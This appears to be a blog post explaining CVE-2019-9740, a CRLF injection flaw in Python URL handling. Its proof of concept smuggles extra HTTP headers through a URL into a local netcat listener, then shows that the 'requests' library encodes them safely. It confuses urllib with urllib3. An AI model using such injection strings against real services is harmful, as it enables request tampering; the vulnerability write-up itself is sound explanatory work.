On March 12, 2019 NIST reports the CVE-2019-9740 about a Python (2.x and 3.x) URLLib3 URL handling vulnerability.
IMPORTANT: Python “requests” library is not vulnerable.
Check the demonstration in the end of this article.
An issue was discovered in urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.2. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the first argument to urllib.request.urlopen with \r\n followed by an HTTP header or a Redis command.
https://nvd.nist.gov/vuln/detail/CVE-2019-9740
In this article we will discuss about that report, put our hands on into the proof of concept and we try to reproduce the same vulnerability using the Python “requests” library.
This vulnerability is also reported on Python Bug List at (https://bugs.python.org/issue36276 and https://bugs.python.org/issue30458)
That’s vulnerability was categorized as Medium Risk, Network Level Attack. In other means, the attacker can manipulate the HTTP Header from requests using urllib3, because urllib3 do not correctly handle the URL in self, allowing the attacker to use CRLF (\r\n) to alter the result HTTP protocol before the library send the request to the remote server.
POC (Proof of Concept)
The proof of concept consist into 2 basic steps:
- Open a simple server (using Netcat)
- Make a request using urllib3
POC: Running the Server
Easy as eating pancakes, just run Netcat as follow:
nc -l -p 7777
POC: Running Python Program
import urllib.request
import urllib3
pool_manager = urllib3.PoolManager()
host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"
try:
info = pool_manager.request('GET', url)
print(info)
except urllib.error.URLError as e:
print(e)
POC: Results
As expected, the results show us the truth.
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
Accept-Encoding: identity
Injection successfully. Our injected header (X-injected) are present.
Python “requests” Library is Safe
First of all, the “requests” library is not vulnerable. You can breathe now.
Start netcat command as above, and run the POC code below.
import requests
host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"
try:
info = requests.get(url)
print(info)
except Exception as ex:
print(ex)
Our netcat result is:
GET /?a=1%20HTTP/1.1%0D%0AX-injected:%20header%0D%0ATEST:%20123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
In other worlds, our malicious header (X-injected) are not present, because “requests” library correctly handle the URL parameter.
That’s all. Breathe and keep you eyes in any Python Vulnerability.
Fly Safe to you all.